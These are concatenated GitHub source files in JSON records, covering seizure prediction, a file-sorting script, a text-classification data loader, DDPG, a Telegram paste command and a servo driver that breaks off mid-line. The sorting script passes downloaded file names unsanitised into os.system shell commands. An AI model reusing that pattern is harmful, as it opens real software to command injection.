\\t{roc_auc_train:.4f}\")\nprint(f\"\\tRecall:  \\t{recall_train:.4f}\")\n\n\"\"\" Predictions on test data \"\"\"\nprint(\"Predicting values on test data...\")\npredictions_test = model.predict(X_test, batch_size=batch_size).flatten()\nloss_test, accuracy_test, roc_auc_test, recall_test = model_evaluation(predictions=predictions_test,\n                                                                       y=y_test)\nprint(\"Results on test data\")\nprint(f\"\\tLoss:    \\t{loss_test:.4f}\")\nprint(f\"\\tAccuracy:\\t{accuracy_test:.4f}\")\nprint(f\"\\tROC-AUC: \\t{roc_auc_test:.4f}\")\nprint(f\"\\tRecall:  \\t{recall_test:.4f}\")\n\n# -----------------------------------------------------------------------------\n# EXPERIMENT RESULTS SUMMARY\n# -----------------------------------------------------------------------------\nRESULTS_PATH = f\"results/{file_name}\"\ntitle = \"DENSE NEURAL NETWORK\"\nshapes = {\n    \"X_train\": X_train.shape,\n    \"y_train\": y_train.shape,\n    \"X_test\": X_test.shape,\n    \"y_test\": y_test.shape\n}\nparameters = {\n    \"epochs\": epochs,\n    \"batch_size\": batch_size,\n    \"units\": units,\n    \"reg_n\": \"l2(5e-4)\",\n    \"activation\": activation,\n    \"class_weight\": str(class_weight),\n}\nresults_train = {\n    \"loss_train\": loss_train,\n    \"accuracy_train\": accuracy_train,\n    \"roc_auc_train\": roc_auc_train,\n    \"recall_train\": recall_train\n}\nresults_test = {\n    \"loss_test\": loss_test,\n    \"accuracy_test\": accuracy_test,\n    \"roc_auc_test\": roc_auc_test,\n    \"recall_test\": recall_test\n}\nstring_list = []\nmodel.summary(print_fn=lambda x: string_list.append(x))\nsummary = \"\\n\".join(string_list)\n\nexperiment_results_summary(RESULTS_PATH, num, title, summary, shapes, parameters, results_train, results_test)\n\nEXP_FILENAME = \"experiments_dense\"\nhyperpar = ['', 'epochs', 'units', 'activation', 'loss', 'acc', 'roc-auc']\nexp_hyperpar = [epochs, units, activation, loss_test, accuracy_test, roc_auc_test]\ndf = add_experiment(EXP_FILENAME, num, hyperpar, exp_hyperpar)\nsave_experiments(EXP_FILENAME, df)\n\n# -----------------------------------------------------------------------------\n# PLOTS\n# -----------------------------------------------------------------------------\npredictions_train[predictions_train <= 0.5] = 0\npredictions_train[predictions_train > 0.5] = 1\nsigmoid = np.copy(predictions_test)\npredictions_test[predictions_test <= 0.5] = 0\npredictions_test[predictions_test > 0.5] = 1\n\nplt.subplot(2, 1, 1)\nplt.plot(y_train)\nplt.subplot(2, 1, 2)\nplt.plot(predictions_train)\nplt.savefig(f\"./plots/{exp}-predictions_train.png\")\nplt.close()\n\nplt.subplot(2, 1, 1)\nplt.plot(y_test)\nplt.axvline(x=seizure[1]['start'], color=\"orange\", linewidth=0.5)\nplt.axvline(x=seizure[1]['end'], color=\"orange\", linewidth=0.5)\nplt.subplot(2, 1, 2)\nplt.plot(predictions_test)\nplt.axvline(x=seizure[1]['start'], color=\"orange\", linewidth=0.5)\nplt.axvline(x=seizure[1]['end'], color=\"orange\", linewidth=0.5)\nplt.savefig(f\"./plots/{exp}-predictions.png\")\nplt.close()\n\n\ndef running_mean(x, N):\n    cumsum = np.cumsum(np.insert(x, 0, 0))\n    return (cumsum[N:] - cumsum[:-N]) / float(N)\n\n\nplt.figure(figsize=(15.0, 8.0))\nplt.plot(sigmoid)\nplt.plot(running_mean(sigmoid, 1000))\nplt.axvline(x=seizure[1]['start'], color=\"orange\", linewidth=0.5)\nplt.axvline(x=seizure[1]['end'], color=\"orange\", linewidth=0.5)\nplt.savefig(f\"./plots/{exp}-sigmoid.png\", dpi=400)\n\nK.clear_session()","repo_name":"HeapHop30/epileptic-seizure-prediction","sub_path":"classic_dl/dense/dense.py","file_name":"dense.py","file_ext":"py","file_size_in_byte":6782,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"18"}
{"seq_id":"12828292856","text":"import os\nimport time\n\ndir_path = \"/Users/fabbem/Downloads/\"\ndir_music = \"/Users/fabbem/Downloads/Music/\"\ndir_pictures = \"/Users/fabbem/Downloads/Pictures/\"\ndir_ipa = \"/Users/fabbem/Downloads/IPA/\"\n\nwhile True:\n\n    filesmusic = [file for file in os.listdir(dir_path) if file.endswith(\".mp3\") or file.endswith(\".mp4\")]\n    filespictures = [file for file in os.listdir(dir_path) if file.endswith(\".png\") or file.endswith(\".jpeg\") or file.endswith(\".jpg\")]\n    filesipa = [file for file in os.listdir(dir_path) if file.endswith(\".ipa\")]\n\n\n    for file in filesmusic:\n        file = file.replace(' ', '\\ ')\n        error = os.system(fr\"ls {dir_music} 2>/dev/null\")\n        \n        print(dir_path+file)\n        if error != 256:\n            os.system(fr\"mv {dir_path+file} {dir_music}\")\n        else:\n            os.system(fr\"mkdir {dir_music}\")\n            os.system(fr\"mv {dir_path}{file} {dir_music}\")\n\n    time.sleep(0.2)\n","repo_name":"fabianmoor/Sorting-Tool","sub_path":"kek.py","file_name":"kek.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"19608599251","text":"import os\nimport sys\nimport pickle\nimport codecs\nroot_path = os.path.abspath('.')\n\nfrom collections import defaultdict\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import StratifiedKFold\nimport pandas as pd\nimport numpy as np\n\n# global variable\nPAD_ID = 0\n_GO=\"_GO\"\n_END=\"_END\"\n_PAD=\"_PAD\"\n\n\ndef __csv2label__():\n    train_label  = pd.read_csv('../input/train_first.csv')\n    train_hankcs = pd.read_csv('../input/train_word.csv')\n    train = pd.merge(train_label, train_hankcs, on = 'Id', how = 'left')\n    words = train['words'].values\n    label = train['Score'].values\n    with open('../input/tourist.zh.label.txt', 'a+', encoding='utf-8') as f:\n        for i, word in enumerate(words):\n            word = word[1:-1]\n            word = word.replace(';', ' ')\n            word += '\\t' + '__label__' + str(label[i]) + '\\n'\n            f.write(word)\n\n\ndef create_voabulary(word2vec_vocabulary_path, name_scope=''):\n    cache_path ='cache_vocabulary_label_pik/'+ name_scope + \"_word_voabulary.pik\"\n    cache_path = os.path.join(root_path, cache_path)\n    print(\"cache_path:\",cache_path,\"file_exists:\",os.path.exists(cache_path))\n    if os.path.exists(cache_path):\n        with open(cache_path, 'rb') as data_f:\n            vocabulary_word2index, vocabulary_index2word = pickle.load(data_f)\n            return vocabulary_word2index, vocabulary_index2word\n    else:\n        vocabulary_word2index={}\n        vocabulary_index2word={}\n\n        vocabulary_word2index['PAD_ID']=0\n        vocabulary_index2word[0]='PAD_ID'\n\n        special_index = 0\n        with open(word2vec_vocabulary_path, 'r', encoding='utf-8') as f:\n            for _, line in enumerate(f.readlines()):\n                vocab = line.split(' ')[0]\n                vocabulary_word2index[vocab] = _ + 1 + special_index\n                vocabulary_index2word[_ + 1 + special_index] = vocab\n\n        #save to file system if vocabulary of words is not exists.\n        if not os.path.exists(cache_path):\n            with open(cache_path, 'ab') as data_f:\n                pickle.dump((vocabulary_word2index, vocabulary_index2word), data_f)\n    return vocabulary_word2index, vocabulary_index2word\n\n# create vocabulary of lables. label is sorted. 1 is high frequency, 2 is low frequency.\ndef create_voabulary_label(vocabulary_label, regression_flag, name_scope='', use_seq2seq=False):\n    print(\"create_voabulary_label_sorted.started.traning_data_path:\",vocabulary_label)\n    cache_path ='cache_vocabulary_label_pik/'+ name_scope + \"_label_voabulary.pik\"\n    cache_path = os.path.join(root_path, cache_path)\n    if os.path.exists(cache_path):\n        with open(cache_path, 'rb') as data_f:\n            vocabulary_word2index_label, vocabulary_index2word_label=pickle.load(data_f)\n            return vocabulary_word2index_label, vocabulary_index2word_label\n    else:\n        train = codecs.open(vocabulary_label, 'r', 'utf-8')\n        lines = train.readlines()\n\n        vocabulary_word2index_label = {}\n        vocabulary_index2word_label = {}\n        vocabulary_label_count_dict = defaultdict(int)\n\n        for i, line in enumerate(lines):\n            if '__label__' in line:  #'__label__-2051131023989903826\n                label = line[line.index('__label__') + len('__label__'):].strip().replace(\"\\n\",\"\")\n                vocabulary_label_count_dict[label] += 1\n\n        list_label = sort_by_value(vocabulary_label_count_dict)\n        print(\"length of list_label:\",len(list_label))\n        count=0\n\n        ##########################################################################################\n        if use_seq2seq: #if used for seq2seq model,insert two special label(token):_GO AND _END\n            i_list = [0, 1, 2]\n            label_special_list = [_GO, _END, _PAD]\n            for _, label in enumerate(label_special_list):\n                vocabulary_word2index_label[label] = i_list[_]\n                vocabulary_index2word_label[i_list[_]] = label\n        #########################################################################################\n        if regression_flag:\n            print('vocabulary_index2word_label is used as a classification regression')\n            for label in list_label:\n                label = int(label)\n                vocabulary_word2index_label[label] = label\n                vocabulary_index2word_label[label] = label\n        else:\n            for i, label in enumerate(list_label):\n                if i < 10:\n                    count_value = vocabulary_label_count_dict[label]\n                    print(\"label:\", label, \"count_value:\", count_value)\n                    count = count + count_value\n                index = i + 3 if use_seq2seq else i\n                if use_seq2seq: print('use_seq2seq, please check the code...')\n                vocabulary_word2index_label[label] = index\n                vocabulary_index2word_label[index] = label\n        print(\"count top10:\", count)\n\n        if not os.path.exists(cache_path):\n            with open(cache_path, 'ab') as data_f:\n                pickle.dump((vocabulary_word2index_label,vocabulary_index2word_label), data_f)\n\n    print(\"create_voabulary_label_sorted.ended.len of vocabulary_label:\", len(vocabulary_index2word_label))\n    return vocabulary_word2index_label, vocabulary_index2word_label\n\ndef sort_by_value(d):\n    items=d.items()\n    backitems=[[v[1],v[0]] for v in items]\n    backitems.sort(reverse=True)\n    return [backitems[i][1] for i in range(0,len(backitems))]\n\ndef load_data_multilabel_new(vocabulary_word2index,\n                             vocabulary_word2index_label,\n                             using_kfold=False,\n                             valid_portion=0.3,\n                             max_training_data=1000000,\n                             training_data_path='../input/tourist.zh.train.txt',\n                             multi_label_flag=False,\n                             use_seq2seq=False,\n                             seq2seq_label_length=6):  # n_words=100000,\n    \"\"\"\n    input: a file path\n    :return: train, test, valid. where train=(trainX, trainY). where\n                trainX: is a list of list.each list representation a sentence.trainY: is a list of label. each label is a number\n    \"\"\"\n    # 1. load a tourist data from file\n    # example: \"userid 好 大 的 一个 游乐 公园 已经 去 了 2 次 但 感觉 还 没有 玩 够 似的 会 有 第 三 第 四 次 的\t__label__5\"\n    print(\"load_data.started...\")\n    print(\"load_data_multilabel_new.training_data_path:\", training_data_path)\n    data_f = codecs.open(training_data_path, 'r', 'utf8')\n    lines = data_f.readlines()\n\n    # 2.transform X as indices\n    # 3.transform  y as scalar\n    X = []\n    Y = []\n    Y_decoder_input=[] #ADD 2017-06-15\n    ID = []\n    for i, line in enumerate(lines):\n        data, y = line.split('__label__')\n        y = y.strip().replace('\\n', '')\n\n        data = data.strip()\n\n        if i < 1:\n            print(i, \"x0:\", data)\n\n        data = data.split(\" \")\n        id = data[0:1]\n        x = data[1:]\n        # if can't find the word, set the index as '0'.(equal to PAD_ID = 0)\n        x = [vocabulary_word2index.get(e, 0) for e in x]\n        if i < 2:\n            print(i, \"x1:\", x)\n\n        # 1) prepare label for seq2seq format(ADD _GO,_END,_PAD for seq2seq)\n        if use_seq2seq:\n            ys = y.replace('\\n', '').split(\" \")  # ys is a list\n            _PAD_INDEX = vocabulary_word2index_label[_PAD]\n            ys_mulithot_list = [_PAD_INDEX] * seq2seq_label_length\n            ys_decoder_input = [_PAD_INDEX] * seq2seq_label_length\n            # below is label.\n            for j, y in enumerate(ys):\n                if j < -1:\n                    ys_mulithot_list[j]=vocabulary_word2index_label[y]\n            if len(ys)>seq2seq_label_length-1:\n                ys_mulithot_list[seq2seq_label_length-1]=vocabulary_word2index_label[_END]# ADD END TOKEN\n            else:\n                ys_mulithot_list[len(ys)] = vocabulary_word2index_label[_END]\n\n            # below is input for decoder.\n            ys_decoder_input[0]=vocabulary_word2index_label[_GO]\n            for j, y in enumerate(ys):\n                if j < seq2seq_label_length - 1:\n                    ys_decoder_input[j+1]=vocabulary_word2index_label[y]\n            if i < 10:\n                print(i,\"ys:==========>0\", ys)\n                print(i,\"ys_mulithot_list:==============>1\", ys_mulithot_list)\n                print(i,\"ys_decoder_input:==============>2\", ys_decoder_input)\n        else:\n            # 2) prepare multi-label format for classification\n            if multi_label_flag:\n                ys = y.replace('\\n', '').split(\" \")  # ys is a list\n                ys_index = []\n                for y in ys:\n                    y_index = vocabulary_word2index_label[y]\n                    ys_index.append(y_index)\n                ys_mulithot_list = transform_multilabel_as_multihot(ys_index)\n            else:\n                # 3) prepare single label format for classification\n                ys_mulithot_list = vocabulary_word2index_label[y]\n        if i <= 3:\n            print(\"ys_index:\")\n            print(i, \"y:\", y, \" ;ys_mulithot_list:\", ys_mulithot_list)\n\n        X.append(x)\n        Y.append(ys_mulithot_list)\n        ID.append(id)\n\n        if use_seq2seq:\n            Y_decoder_input.append(ys_decoder_input) #decoder input\n\n    # 4.split to train,test and valid data\n    number_examples = len(X)\n    print(\"number_examples:\", number_examples)\n\n    if using_kfold:\n        X = np.array(X)\n        Y = np.array(Y)\n\n        kf = list(StratifiedKFold(n_splits=5, random_state=2018, shuffle=False).split(X, Y))\n        for train_index, test_index in kf:\n            ID_ = []\n            for index in test_index:\n                ID_.append(ID[index][0])\n\n            yield X[train_index], Y[train_index], X[test_index], Y[test_index], ID_\n    else:\n        X, X_, y, y_ = train_test_split(X, Y, test_size=valid_portion, random_state=0)\n        X, y = data_augmentation(X, y, method=None)\n        number_examples = len(X)\n        print(\"number_examples:\", number_examples)\n\n        train = (X, y)\n        valid = (X_, y_)\n\n        if use_seq2seq:\n            train = train + (Y_decoder_input[0:int((1 - valid_portion) * number_examples)],)\n            test = valid + (Y_decoder_input[int((1 - valid_portion) * number_examples) + 1:],)\n\n        # 5.return\n        print(\"load_data.ended...\")\n        yield train, valid, valid\n\ndef data_augmentation(X, y, method = None):\n    if method is not None:\n        return method(X, y)\n    else:\n        return X, y\n\ndef shuffle(X, y):\n    X = X.copy()\n    y = y.copy()\n\n    X_ = []\n    y_ = []\n    for x, label in zip(X, y):\n        X_.append(np.random.permutation(x[::]))\n        y_.append(label)\n\n    X = np.concatenate((X, X_), axis = 0)\n    y = np.concatenate((y, y_), axis = 0)\n    return X, y\n\ndef transform_multilabel_as_multihot(label_list):\n    \"\"\"\n    :param label_list: e.g.[0,1,4]\n    :param label_size: e.g.199\n    :return:e.g.[1,1,0,1,0,0,........]\n    \"\"\"\n    result = np.zeros(len(label_list))\n    result[label_list] = 1\n    return result\n\n\ndef load_final_test_data(filename):\n    with open(filename, 'r', encoding='utf-8') as outf:\n        question_lists_result = []\n        for line in outf.readlines():\n            line = line.replace('\\n', '')\n            id, val = line.split(' ')[0], line.split(' ')[1:]\n            question_lists_result.append((id, val))\n        print(\"length of total question lists:\", len(question_lists_result))\n        return question_lists_result\n\ndef process_one_sentence_to_get_ui_bi_tri_gram(sentence, n_gram = 3):\n    \"\"\"\n    :param sentence: string. example:'w17314 w5521 w7729 w767 w10147 w111'\n    :param n_gram:\n    :return:string. example:'w17314 w17314w5521 w17314w5521w7729 w5521 w5521w7729 w5521w7729w767 w7729 w7729w767 w7729w767w10147 w767 w767w10147 w767w10147w111 w10147 w10147w111 w111'\n    \"\"\"\n    result=[]\n    word_list=sentence.split(\" \") #[sentence[i] for i in range(len(sentence))]\n    unigram='';bigram='';trigram='';fourgram=''\n    length_sentence=len(word_list)\n    for i,word in enumerate(word_list):\n        unigram=word                           #ui-gram\n        word_i=unigram\n        if n_gram>=2 and i+2<=length_sentence: #bi-gram\n            bigram=\"\".join(word_list[i:i+2])\n            word_i=word_i+' '+bigram\n        if n_gram>=3 and i+3<=length_sentence: #tri-gram\n            trigram=\"\".join(word_list[i:i+3])\n            word_i = word_i + ' ' + trigram\n        if n_gram>=4 and i+4<=length_sentence: #four-gram\n            fourgram=\"\".join(word_list[i:i+4])\n            word_i = word_i + ' ' + fourgram\n        if n_gram>=5 and i+5<=length_sentence: #five-gram\n            fivegram=\"\".join(word_list[i:i+5])\n            word_i = word_i + ' ' + fivegram\n        result.append(word_i)\n    result=\" \".join(result)\n    return result\n\ndef load_data_predict(vocabulary_word2index, vocabulary_word2index_label, questionid_question_lists, uni_to_tri_gram=False):\n    final_list = []\n    for i, tuple in enumerate(questionid_question_lists):\n        id, question_string_list = tuple\n        # question_string_list = question_string_list[1:-1]\n        # question_string_list = question_string_list.replace(\";\",\" \")\n        if uni_to_tri_gram:\n            x_ = process_one_sentence_to_get_ui_bi_tri_gram(question_string_list)\n            x = x_.split(\" \")\n        else:\n            # x = question_string_list.split(\" \")\n            x = question_string_list\n        x = [vocabulary_word2index.get(e, 0) for e in x]\n        if i <= 2:\n            print(\"question_id:\", id)\n            print(\"question_string_list:\", question_string_list)\n            print(\"x_indexed:\", x)\n\n        final_list.append((id, x))\n\n    number_examples = len(final_list)\n    print(\"number_examples:\",number_examples) #\n    return final_list\n\ndef split_data(filename = '../input/tourist.zh.label.txt'):\n    with open(filename, 'r', encoding='utf-8') as f:\n        train_outf = open(filename.replace('label', 'train'), 'w', encoding='utf-8')\n        test_outf = open(filename.replace('label', 'test'), 'w', encoding='utf-8')\n        for line in f.readlines():\n            label = line[line.index('__label__') + len('__label__'):].strip().replace(\"\\n\", \"\")\n            if label != '-1':\n                train_outf.write(line)\n            else:\n                test_outf.write(line[:line.index('__label__')].strip() + '\\n')\n    pass\n\n\n# vocabulary_word2index, vocabulary_index2word = create_voabulary(word2vec_vocabulary_path='../utils/dump/vocabulary', name_scope=\"TextCNN\")\n# vocab_size = len(vocabulary_word2index)\n# vocabulary_word2index_label, vocabulary_index2word_label = create_voabulary_label(vocabulary_label='../input/tourist.zh.label.txt', name_scope=\"TextCNN\")\n# final_list = load_data_predict(vocabulary_word2index, vocabulary_word2index_label, load_final_test_data('../input/predict_word.csv'))\n# print(final_list)\n\n\nif __name__ == '__main__':\n    # split_data()\n\n    stacking_0 = pd.read_csv('../models/TextCNN/__models__/TextCNN_TFIDF_tra_0.csv')\n    stacking_1 = pd.read_csv('../models/TextCNN/__models__/TextCNN_TFIDF_tra_1.csv')\n    stacking_2 = pd.read_csv('../models/TextCNN/__models__/TextCNN_TFIDF_tra_2.csv')\n    stacking_3 = pd.read_csv('../models/TextCNN/__models__/TextCNN_TFIDF_tra_3.csv')\n    stacking_4 = pd.read_csv('../models/TextCNN/__models__/TextCNN_TFIDF_tra_4.csv')\n    stacking = pd.concat([stacking_0, stacking_1, stacking_2, stacking_3, stacking_4])\n\n    stacking.to_csv('TextCNN_train.csv', index = False)\n\n    test_0 = pd.read_csv('../models/TextCNN/__models__/tourist_result_cnn_multilabel_v6_e14_kf_0.csv')\n    test_1 = pd.read_csv('../models/TextCNN/__models__/tourist_result_cnn_multilabel_v6_e14_kf_1.csv')\n    test_2 = pd.read_csv('../models/TextCNN/__models__/tourist_result_cnn_multilabel_v6_e14_kf_2.csv')\n    test_3 = pd.read_csv('../models/TextCNN/__models__/tourist_result_cnn_multilabel_v6_e14_kf_3.csv')\n    test_4 = pd.read_csv('../models/TextCNN/__models__/tourist_result_cnn_multilabel_v6_e14_kf_4.csv')\n\n    test_0 = pd.merge(test_0, test_1, on = 'Id', how = 'left')\n    test_0 = pd.merge(test_0, test_2, on = 'Id', how = 'left')\n    test_0 = pd.merge(test_0, test_3, on = 'Id', how='left')\n    test_0 = pd.merge(test_0, test_4, on = 'Id', how='left')\n\n    Id = test_0[['Id']]\n    Id['textCNN_label'] = test_0.drop(['Id'], axis=1).mean(axis=1)\n\n    Id.to_csv('TextCNN_test.csv', index = False)","repo_name":"demonSong/DF_CCF_CONTEST","sub_path":"utils/load_dataset.py","file_name":"load_dataset.py","file_ext":"py","file_size_in_byte":16463,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"18"}
{"seq_id":"35935277256","text":"from collections import deque\nimport random\nimport numpy as np\nimport torch\n\nuse_cuda = torch.cuda.is_available()\ndevice = torch.device(\"cuda\" if use_cuda else \"cpu\")\n\nclass ReplayBuffer(object):\n\n    def __init__(self, buffer_size, random_seed=123):\n        \"\"\"\n        The right side of the deque contains the most recent experiences \n        \"\"\"\n        self.buffer_size = buffer_size\n        self.count = 0\n        self.buffer = deque()\n        random.seed(random_seed)\n\n    def add(self, s, a, r, t, s2):\n        experience = (s, a, r, t, s2)\n        if self.count < self.buffer_size: \n            self.buffer.append(experience)\n            self.count += 1\n        else:\n            self.buffer.popleft()\n            self.buffer.append(experience)\n\n    def size(self):\n        return self.count\n\n    def sample_batch(self, batch_size):\n        batch = []\n\n        if self.count < batch_size:\n            batch = random.sample(self.buffer, self.count)\n        else:\n            batch = random.sample(self.buffer, batch_size)\n\n        s_batch = np.array([_[0] for _ in batch], dtype='float32')\n        a_batch = np.array([_[1] for _ in batch], dtype='float32')\n        r_batch = np.array([_[2] for _ in batch])\n        t_batch = np.array([_[3] for _ in batch])\n        s2_batch = np.array([_[4] for _ in batch], dtype='float32')\n\n        return s_batch, a_batch, r_batch, t_batch, s2_batch\n\n    def clear(self):\n        self.buffer.clear()\n        self.count = 0\n\n\nclass OrnsteinUhlenbeckActionNoise:\n    def __init__(self, mu, sigma=0.3, theta=.15, dt=1e-2, x0=None):\n        self.theta = theta\n        self.mu = mu\n        self.sigma = sigma\n        self.dt = dt\n        self.x0 = x0\n        self.reset()\n\n    def __call__(self):\n        x = self.x_prev + self.theta * (self.mu - self.x_prev) * self.dt + \\\n                self.sigma * np.sqrt(self.dt) * np.random.normal(size=self.mu.shape)\n        self.x_prev = x\n        return x\n\n    def reset(self):\n        self.x_prev = self.x0 if self.x0 is not None else np.zeros_like(self.mu)\n\n    def __repr__(self):\n        return 'OrnsteinUhlenbeckActionNoise(mu={}, sigma={})'.format(self.mu, self.sigma)\n\nclass DDPG:\n    def __init__(self, actor, critic, target_actor, target_critic, gamma, batch_size, train_mode):\n\n        self.actor = actor\n        self.critic = critic\n        self.target_actor = target_actor\n        self.target_critic = target_critic\n        self.gamma = gamma\n        self.batch_size = batch_size\n        self.train_mode = train_mode\n\n        self.target_actor.hard_copy(actor)\n        self.target_critic.hard_copy(critic)\n\n        self.ou = OrnsteinUhlenbeckActionNoise(mu=np.zeros(1,))\n        self.buffer = ReplayBuffer(100000)\n\n    def load(self, filename_actor, filename_critic):\n        try:\n            self.critic.load_model(filename_critic)\n            self.actor.load_model(filename_actor)\n        except Exception as e:\n            print(e.__repr__)\n\n    def act(self, obs):\n        state = torch.FloatTensor(obs).unsqueeze(0).to(device)\n\n        noise = self.ou()\n        noise = torch.FloatTensor(noise).unsqueeze(0).to(device)\n        action = self.actor(state)\n\n        if self.train_mode:\n            action = action + noise\n        action = action.cpu().detach().numpy()[0]\n        return action\n\n    def train(self, action, reward, state, state2, done):\n        self.buffer.add(state, action, reward, done, state2)\n        ep_ave_max_q_value = 0\n\n        if self.buffer.size() > self.batch_size:\n            s_batch, a_batch, r_batch, t_batch, s2_batch = self.buffer.sample_batch(self.batch_size)\n\n            s_batch = torch.FloatTensor(s_batch).to(device)\n            a_batch = torch.FloatTensor(a_batch).to(device)\n            r_batch = torch.FloatTensor(r_batch).to(device)\n            t_batch = torch.FloatTensor(t_batch).to(device)\n            s2_batch = torch.FloatTensor(s2_batch).to(device)\n\n            target_action2 = self.target_actor(s2_batch)\n            predicted_q_value = self.target_critic(s2_batch, target_action2)\n\n            yi = r_batch + ((1 - t_batch) * self.gamma * predicted_q_value).detach()\n\n            predictions = self.critic.train_step(s_batch, a_batch, yi)\n\n            ep_ave_max_q_value = np.amax(predictions.cpu().detach().numpy())\n\n            self.actor.train_step(self.critic, s_batch)\n\n            self.target_actor.update(self.actor)\n            self.target_critic.update(self.critic)\n        \n        return ep_ave_max_q_value","repo_name":"Gouet/DDPG_pytorch","sub_path":"ddpg.py","file_name":"ddpg.py","file_ext":"py","file_size_in_byte":4466,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"73230352680","text":"from pyrogram import Client, filters\nfrom pyrogram.types import Message\n\nfrom nekobin import Nekobin\n\n\n\n@Client.on_message(filters.command('bin', ['.', '/']) & filters.me)\nasync def bin(_, message: Message):\n    nb = Nekobin()\n\n    text = message.reply_to_message.text if message.reply_to_message else message.text[4:]\n    \n    result = await nb.paste(text)\n\n    if result.ok:\n        await message.reply(\n            f'Your bin {result.url}',\n            quote=True,\n            disable_web_page_preview=True\n        )\n    else:\n        await message.reply(f'Error: {result.message}')\n","repo_name":"shadowrezi/just-userbot","sub_path":"plugins/nekobin.py","file_name":"nekobin.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"12289351424","text":"#! /usr/bin/env python\n\n\n\"\"\"\n\nDriver node.\n\nThis node manages the pan tilt servos.\n\nUses the herkulex library to control the servos.\n\n\"\"\"\n\n\nimport time\n\nimport herkulex as hx\nimport middleware as mw\n\n\nclass DriverPanTilt:\n\n    def __init__(self):\n        \"\"\"\n        Connect to middleware.\n        Initialize node.\n        \"\"\"\n        self.pan = mw.Pan()\n        self.tilt = mw.Tilt()\n        self.node = mw.Node(\"driver_pan_tilt\")\n    \n    def connect(self):\n        \"\"\"\n        Connect to servos.\n        \"\"\"\n        pan_id = self.pan.id\n        tilt_id = self.tilt.id\n        hx.connect(\"/dev/ttyS0\", 115200)\n        self.node.loginfo(\"connected to serial port\")\n        hx.clear_errors()\n        time.sleep(1.0)\n        self.node.loginfo(\"errors cleared\")\n        self.node.loginfo(\"connecting to pan servo using id %s\" % pan_id)\n        self.servo_pan = hx.servo(pan_id)\n        self.node.loginfo(\"connected to pan servo\")\n        self.node.loginfo(\"connecting to tilt servo using id %s\" % tilt_id)\n        self.servo_tilt = hx.servo(tilt_id)\n        self.node.loginfo(\"connected to tilt servo\")\n        time.sleep(1.0)\n        self.node.loginfo(\"connected to pan tilt servos\")\n\n    def run(self):\n        \"\"\"\n        Main loop.\n        \"\"\"\n        try:\n            self.error_count = 0\n            self.connected = False\n            self.connect()\n            self.pan.ready = True\n            self.tilt.ready = True\n            while not self.node.is_shutdown():\n                try:\n                    # calibrate pid\n                    if self.pan.pid_p != self.pan.pid_current_p:\n                        self.servo_pan.set_position_p(self.pan.pid_p)\n                        time.sleep(0.2)\n                        self.pan.pid_current_p = self.pan.pid_p\n                    if self.pan.pid_d != self.pan.pid_current_d:\n                        self.servo_pan.set_position_d(self.pan.pid_d)\n                        time.sleep(0.2)\n                        self.pan.pid_current_d = self.pan.pid_d\n                    if self.tilt.pid_p != self.tilt.pid_current_p:\n                        self.servo_tilt.set_position_p(self.tilt.pid_p)\n                        time.sleep(0.2)\n                        self.tilt.pid_current_p = self.tilt.pid_p\n                    if self.tilt.pid_d != self.tilt.pid_current_d:\n                        self.servo_tilt.set_position_d(self.tilt.pid_d)\n                        time.sleep(0.2)\n                        self.tilt.pid_current_d = self.tilt.pid_d\n                    # torque\n                    if self.pan.enable and not self.pan.enabled:\n                        self.servo_pan.torque_on()\n                        time.sleep(0.2)\n                        self.pan.enabled = True\n                    elif not self.pan.enable and self.pan.enabled:\n                        self.servo_pan.torque_off()\n                        time.sleep(0.2)\n                        self.pan.enabled = False\n                    if self.tilt.enable and not self.tilt.enabled:\n                        self.servo_tilt.torque_on()\n                        time.sleep(0.2)\n                        self.tilt.enabled = True\n                    elif not self.tilt.enable and self.tilt.enabled:\n                        self.servo_tilt.torque_off()\n                        time.sleep(0.2)\n                        self.tilt.enabled = False\n                    # set pan angle\n                    if self.pan.enabled and self.pan.angle_ref != self.pan.angle:\n                        self.pan.angle_ref = self.pan.angle\n                        angle = max(self.pan.min_angle, min(self.pan.max_angle, self.pan.angle))\n                        # calculate playtime based on motion range.\n                        motion_range = abs(self.pan.current_angle - angle)\n                        max_motion_range = abs(self.pan.max_angle - self.pan.min_angle)\n                        motion_range_percent = motion_range / max_motion_range\n                        playtime = int(self.pan.min_playtime + (self.pan.max_playtime - self.pan.min_playtime) * motion_range_percent)\n                        # self.node.loginfo(\"setting pan angle to %s with playtime %s\" % (angle, playtime))\n                        angle += self.pan.angle_bias\n                        self.servo_pan.set_servo_angle(angle, playtime, 0)\n                        time.sleep(0.2)\n                        # self.node.loginfo(\"pan angle set\")\n                    # set tilt angle\n                    if self.tilt.enabled and self.tilt.angle_ref != self.tilt.angle:\n                        self.tilt.angle_ref = self.tilt.angle\n                        angle = max(self.tilt.min_angle, min(self.tilt.max_angle, self.tilt.angle))\n                        # calculate playtime based on motion range.\n                        motion_range = abs(self.tilt.current_angle - angle)\n                        max_motion_range = abs(self.tilt.max_angle - self.tilt.min_angle)\n                        motion_range_percent = motion_range / max_motion_range\n                        playtime = int(self.tilt.min_playtime + (self.tilt.max_playtime - self.tilt.min_playtime) * motion_range_percent)\n                        # self.node.loginfo(\"setting tilt angle to %s with playtime %s\" % (angle, playtime))\n                        angle += self.tilt.angle_bias\n                        self.servo_tilt.set_servo_angle(angle, playtime, 0)\n                        time.sleep(0.2)\n                        # self.node.loginfo(\"tilt angle set\")\n                    # update current angles\n                    self.pan.current_angle = self.servo_pan.get_servo_angle() - self.pan.angle_bias\n                    time.sleep(0.2)\n                    self.tilt.current_angle = self.servo_tilt.get_servo_angle() - self.tilt.angle_bias\n                    time.sleep(0.2)\n                    # update current temperature\n                    self.pan.temperature = self.servo_pan.get_servo_temperature()\n                    time.sleep(0.2)\n                    self.tilt.temperature = self.servo_tilt.get_servo_temperature()\n                    time.sleep(0.2)\n                except IndexError:\n                    hx.clear_errors()\n                    time.sleep(0.1)\n        except hx.HerkulexError as e:\n            print(f'herkulex error: {e}')\n        finally:\n            time.sleep(1.0)\n            self.node.shutdown()\n            hx.close()\n\n\nif __name__ == '__main__':\n    node = DriverPanTilt()\n    